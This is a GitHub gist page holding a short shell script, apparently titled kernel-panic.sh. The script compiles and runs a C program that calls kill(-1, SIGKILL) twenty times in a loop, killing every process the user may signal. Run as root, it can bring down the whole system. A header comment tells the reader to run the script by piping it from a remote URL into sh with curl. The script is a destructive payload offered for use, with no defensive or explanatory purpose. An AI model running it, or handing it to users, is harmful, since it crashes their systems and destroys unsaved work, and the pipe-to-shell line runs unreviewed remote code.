-
-
Save ryenus/dad053ca1a3d4e1539f70a98ab9d640b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# to run this, use the following: | |
# curl https://matthewbauer.us/kernel-panic.sh | sh | |
cfile=$(mktemp).c | |
cat <<EOF >> $cfile | |
#include <unistd.h> | |
#include <sys/syscall.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <stdio.h> | |
int main() { | |
int result; | |
sleep(1); | |
for (int i = 0; i < 20; i++) { | |
result = syscall(SYS_kill, -1, SIGKILL, 0); | |
printf("result:%i,errno:%i (%s)\n", result, errno, strerror(errno)); | |
} | |
} | |
EOF | |
ofile=$(mktemp).o | |
gcc $cfile -o $ofile | |
$ofile |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment